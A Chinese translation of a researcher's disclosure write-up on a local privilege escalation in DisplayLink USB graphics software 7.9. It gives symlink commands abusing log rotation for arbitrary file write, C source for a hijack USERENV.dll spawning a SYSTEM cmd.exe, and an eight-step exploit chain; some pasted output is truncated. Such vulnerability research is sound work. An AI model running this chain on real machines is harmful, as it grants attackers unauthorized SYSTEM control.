查看系统该文件大小 软件_DisplayLink USB显卡软件中提权攻击分析

f6cf3932f65fb5f3e489fb2bc1874e54.gif 点 击上方“蓝字”关注我们吧! 1f24adfecd5016db90ec14cd1f07ce0b.gif 译文声明
本文是翻译文章,文章原作者Yannick Méheut
文章来源:https://offsec.almond.consulting
原文地址:
https://offsec.almond.consulting/displaylink-usb-graphics-arbitrary-file-write-eop.html 译文仅供参考,具体内容表达以及含义原文为准。

摘要 DisplayLink USB显卡软件7.9.296.0版本中,由于对日志文件夹的访问权限过大,导致攻击者可以利用此机制执行特权文件操作,如任意文件创建。攻击者还可以通过DLL劫持的方式获取靶机的系统权限。 此漏洞已在最新版本中修复,建议用户更新到最新版本。漏洞概述
在使用Windows笔记本进行配置审查时,我通常会使用ClémentLabro(@itm4n)的PrivescCheck工具(译者力荐)检查其中是否存在普通的权限提升技术。
PrivescCheck列出了一些可修改的路径:
ModifiablePath                                         IdentityReference Permissions--------------                                         ----------------- -----------C:\Program Files\DisplayLink Core Software\Debug       Everybody         {WriteOwner, Delete, WriteAttributes, Synchronize...}
所有用户对 C:\Program Files\DisplayLink Core Software\Debug 文件夹拥有过大的多权限。 我们可以在 services.msc 中了解该程序的更多细节:

afea7f4348428a3685e019196483afcc.png

此服务是显卡软件的一部分,并作为系统服务自动运行。那么我们可以猜想一种场景,如果DisplayLink软件使用此Debug文件夹中的文件执行特权操作,那我们就可以利用高特权级文件操作进行本地提权。在同事Clément Lavoillotte帮助下,我们发现并成功利用了该漏洞。漏洞利用 在测试中,我选取的是与我本机环境非常相近的Windows 10 1909虚拟机,并安装相同版本的DisplayLink。由于现在DisplayLink官网已经对软件进行升级,点击此处下载实验版本。
(https://www.displaylink.com/downloads/file?id=559)

0 1过度的访问权限

安装软件后,我们首先查看Debug文件夹上的权限 :

61f3aaea9f4f043b7ad3d5941aa0d882.png

如我们之前所说, Everybody 对此文件拥有完全的控制权。 但是如果此文件夹下包含敏感文件,如DLL文件。我们完全可以进行DLL劫持,恶意代码就会以系统身份运行。让我们先看一下文件夹下有哪些内容:

10a5b3db87b0b1ee8e5bcc097014c4d5.png

好吧,只有一些日志文件。但是我们发现了以.log和.old.log为后缀的文件,这应该是由日志轮转所产生的文件。正如clement在他的文章中所阐述的,我们可以利用日志旋转机制来执行任意文件创建操作。0 2日志轮转

让我们在Procmon中观察一下日志轮转机制的具体过程:

1e920d7ad5c6a1f11f9efbbe0a71f29d.png

在启动时, DisplayLinkManager.exe 会执行以下操作:
1.打开 DisplayLinkManager.log 日志文件
2.对它进行一些检查(文件内容或是文件大小)
3.如果检查通过,执行日志轮换:
 3.1.删除 DisplayLinkManager.old.log 文件(如果存在)
 3.2.重命名 DisplayLinkManager.logDisplayLinkManager.old.log  3.3.创建一个新的 DisplayLinkManager.log
这些动作都是作为系统用户进行执行的,我们查看了事件的详细信息,确认在这里并不是模拟用户进行的操作。我们可以利用这一点进行任意写入或删除文件。0 3任意文件创建 我们可以欺骗DisplayLinkManager将攻击者可控的文件移动至特权位置。我们可以使用 CreateSymlink.exe 完成这一操作(Google Project Zero的SymbolicLink测试工具中的工具。) 创建如下符号链接:
•将 C:\ProgramFiles\DisplayLinkCoreSoftware\Debug\DisplayLinkManager.log 链接至我们要移动的文件
•将
C:\ProgramFiles\DisplayLinkCoreSoftware\Debug\DisplayLinkManager.old.log
链接到我们要放置文件的地方 还有一点需要注意,在进行符号链接时,Debug文件夹必须为空。因为 CreateSymlink.exe 程序会将其替换为 RPCControl 的挂载点。但是,当我们试图删除Debug中已存在的日志文件,则会出现以下错误:

86cb91fb6a8e1746354e41da768bc954.png

虽然我们可以完全控制该文件夹及内容,但是日志文件是由 DisplayLink Manager 进程打开的,我们无法直接删除它们。并且,我们无法终止DisplayLink Manager进程,因为它们是以SYSTEM身份运行,而我们仅仅是普通用户的权限。 那我们怎样进行绕过呢?别忘了我们对Debug文件夹拥有完全控制权,我们可以直接修改其ACL,使SYSTEM用户对该文件夹及其内容没有修改权限:

bb5d34e52ca7a665cb27a942215f05b2.png

在重启计算机后,DisplayLinkManager将无法在该文件夹中打开其日志文件,我们可以对其执行删除操作。我们还可以删除目录下 DisplayLinkUserAgent.log 。该文件由DisplayLink用户代理应用程序打开,而这个应用程序也是以 SYSTEM 身份运行。 DisplayLinkUI.log
DisplayLinkUIAddOnApi.log 是DisplayLink UI Systray应用程序所打开的。该应用程序以当前用户的权限运行,因此我们可以在任务管理器中将其关闭,然后删除日志文件。

b24ae3d35778e66e31f7b63ccf40fb34.png


至此,您将获得一个干净且完全为空的Debug文件夹:

04f74fb42cf421b35c8e42a1e8fef464.png

现在,我们开始漏洞利用,将我们控制的文件移动到C:\Windows\System32。通过观察日志文件大小,我们注意到当日志文件超过101kb时会发生日志轮换,因此我们需要确保自定义文件超过该大小。

PS C:\Temp> ls    Directory: C:\TempMode                LastWriteTime         Length Name----                -------------         ------ -----a----        4/24/2020   6:58 PM         192302 arbitrary_file.txtPS C:\Temp> Get-Content -TotalCount 8 .\arbitrary_file.txt"Disposable Heroes"Bodies fill the fields I see, hungry heroes endNo one to play soldier now, no one to pretendRunning blind through killing fields, bred to kill them allVictim of what said should beA servant 'til I fallPS C:\Temp> Get-FileHash -Algorithm SHA256 -Path .\arbitrary_file.txtAlgorithm       Hash                                                                   Path---------       ----                                                                   ----SHA256          B3C1196F2E9A45C71C31BC2B73A216025793A31FED1B0FBE6FD14106FC637C1D       C:\Temp\arbitrary_file.txtLet's create the symlinks:PS C:\SymlinkTestTools> .\CreateSymlink.exe -p "C:\Program Files\DisplayLink Core Software\Debug\DisplayLinkManager.log" "C:\Temp\arbitrary_file.txt"PS C:\SymlinkTestTools> .\CreateSymlink.exe -p "C:\Program Files\DisplayLink Core Software\Debug\DisplayLinkManager.old.log" "C:\Windows\Syst
我们的目标文件扩展名为.dll,为了证明我们完全可以控制名称。
注意:在创建符号链接时,请确保当前没有其他进程正在访问Debug文件夹。其中包括打开文件夹的explorer.exe窗口,或者带有指向该文件夹的快速访问标签。 如果需要查看在 RPCControl 中创建的对象,我们可以使用SysinternalsSuite中的 WinObj.exe ,可以看到“日志文件”。

3affda61838a82a6491ea6d3f7dbf8c5.png

现在,我们只需注销帐户并重新登录:

4b8ac7c0faac97cb9556c02b3c2d8b07.png

PS C:\> Get-FileHash -Algorithm SHA256 -Path "C:\Windows\System32\target_arbitary_file.dll"Algorithm       Hash                                                                   Path---------       ----                                                                   ----SHA256          B3C1196F2E9A45C71C31BC2B73A216025793A31FED1B0FBE6FD14106FC637C1D       C:\Windows\System32\target_ar...We have our arbitrary file write! Here's the Procmon entries showing the log rotation that moves our arbitrary file into the system32 folder:
自此,任意文件写入基本完成。我们可以在Procmon中查找相应条目,通过条目可以看出将我们的任意文件移动到system32文件夹的日志轮换。

21d4ed7f079fb94aab880e7d062df82e.png

0 4寻找丢失的DLL

那么,我们如何利用这个漏洞进行本地提权呢?我们的思路是将 sethc.exe 替换为 cmd.exe ,以使用粘滞键弹出shell。 但是,SYSTEM系统进行没有权限修改这些文件,实现这一操作需要 TrustedInstaller 权限。事实上,在具有特权的情况下,可以使用一些技术实现这一目标。但是这些技术不能用于我们无法控制的进程。 我们采取了另一种思路,使用DLL劫持。通过查看DisplayLinkManager尝试加载但失败的DLL,我们可以自己构建DLL来替换丢失的DLL,通过DLL劫持的方式实现以SYSTEM的身份执行任意代码的目的。 因此,我们启动ProcMon,搜索DisplayLink Manager未成功加载的DLL:

03cf2f3ab62c87af3ca4217837dabd91.png

在ProcMon,我们可以发现DisplayLinkManager尝试加载文件夹中似乎缺失的几个DLL,例如, VERSION.dll , USERENV.dll , 和 dbghelp.dll ,这是我们重点研究的目标。 我选取了USERENV.dll作为目标,在C:\Program Files\DisplayLink Core Software目录下构建 USERENV.dll ,那么就可以以SYSTEM身份执行代码。 为了创建恶意DLL,我们首先来看看Display Manager从USERENV.dll导入的函数。为此,我将使用CFF Explorer。

f696666ece7b83d2220ddb2ce6c62b2f.png

如上图所示,DisplayManager从USERENV.dll导入了5个函数,分别是 wit、DestroyEnvironmentBlock、LoadUserProfileW、UnloadUserProfile、 LoadUserProfile、ACreateEnvironmentBlock 。 随后,我们可以创建一个导出这些函数的DLL,但实际上会调用我们想要执行的命令。受到DLL劫持文章的启发,我的代码实现如下:
// dllmain.cpp : Defines the entry point for the DLL application.#include "pch.h"BOOL APIENTRY DllMain( HMODULE hModule,                       DWORD  ul_reason_for_call,                       LPVOID lpReserved                     ){    switch (ul_reason_for_call)    {    case DLL_PROCESS_ATTACH:        WinExec("cmd.exe", SW_NORMAL);    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        break;    }    return TRUE;}extern "C" __declspec(dllexport) void DestroyEnvironmentBlock(){    WinExec("cmd.exe", SW_NORMAL);}extern "C" __declspec(dllexport) void LoadUserProfileW(){    WinExec("cmd.exe", SW_NORMAL);}extern "C" __declspec(dllexport) void UnloadUserProfile(){    WinExec("cmd.exe", SW_NORMAL);}extern "C" __declspec(dllexport) void LoadUserProfileA(){    WinExec("cmd.exe", SW_NORMAL);}extern "C" __declspec(dllexport) void CreateEnvironmentBlock(){    WinExec("cmd.exe", SW_NORMAL);}

在代码中,我只是简单调用进程使用的每个函数,并使其执行 cmd.exe 。接下来,我们对其进行编译和植入。
注意:在进行劫持时,请记住静态编译DLL。 还有一点需要注意,我们的DLL需要超过101 Kb才能触发日志旋转。因此,如果文件太小,我们可以用NULL字节进行填充。完整的利用链
下面,我们对上面的内容进行归纳:
1.更改
C:\ProgramFiles\DisplayLinkCoreSoftware\Debug
的ACL,禁用SYSTEM的修改权限。
2.重启系统。
3.终止 DisplayLinkUI.exe 进程。
4.清空 C:\Program Files\DisplayLink Core Software\Debug 文件夹。
5.使用 CreateSymlink.exe ,创建从
C:\ProgramFiles\DisplayLinkCoreSoftware\Debug\DisplayLinkManager.log
到恶意DLL的符号链接;
6.使用 CreateSymlink.exe ,创建从 C:\ProgramFiles\DisplayLinkCoreSoftware\Debug\DisplayLinkManager.old.log
C:\ProgramFiles\DisplayLinkCore Software\USERENV.dll
的符号链接。
7.注销用户会话,然后重新登录。
8.漏洞利用

4f07b60cb8c43a4114a5008e03bfc95a.png

至此,我们成功获取了SYSTEMShell。在这里,我们可以看到实际弹出了两个cmd.exe,这是因为我们的恶意DLL是由DisplayLinkManager(以SYSTEM运行)和DisplayLinkUI Systray(以当前用户运行)加载的。因此,我们的Payload会被执行两次。

其次,我们很幸运能在桌面上弹出一个Shell。这是因为DisplayLink Manager在我们的会话中启动一个进程,然后加载DLL。因此,命令行会在我们的图形化Windows会话中弹出:

3b5926b0af261dd95f6be39f751db31d.png

但是,如果它在session0中运行,cmd.exe就不会出现在我们的桌面上。在这种情况下我们的Payload仍然可以执行,但我们可能需要构建更复杂的Payload才能在用户会话中创建进程。

结论
在本文中,我们实现了滥用Windows上特权进程执行文件操作来实现本地特权升级,而且漏洞利用不受任何配置的干扰。 在后续的版本中,Debug文件夹不复存在。开发者调整了安装文件夹的结构,ACL也得到了正确配置。 建议用户更新到最新版本。时间线 2020-04-23:通知厂商软件的7.9版本中存在漏洞,但7.9以后的版本似乎没有受到影响。
2020-04-23:收到供应商的回复,指出7.9版与Windows 10不兼容,并且由于潜在的不稳定因素,不建议在Windows 10上使用该软件。
2020-04-28:收到了GPG密钥,将加密后的安全建议发送给DisplayLink安全团队。
2020-04-29:向DisplayLink安全团队发送安全建议。
2020-04-30:DisplayLink安全团队确认收到安全建议。
2020-05-15:DisplayLink确认7.9以上的版本不受影响。
2020-07-01:发布通报。扫码关注我们 a42e03f4ed99770b78b9d47d1f250821.png www.sec-in.com 在这里,探索技术与热爱 c31d77e1c635bc5ffa67a368918af2eb.gif 8f4c0966f6e837ee7c16ffc521ae2f7b.gif 点分享 c5c703bd7ea222dfaa19616b3abc4a44.gif 点点赞 982a7e33102c1f246af4951321733549.gif 点在看
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值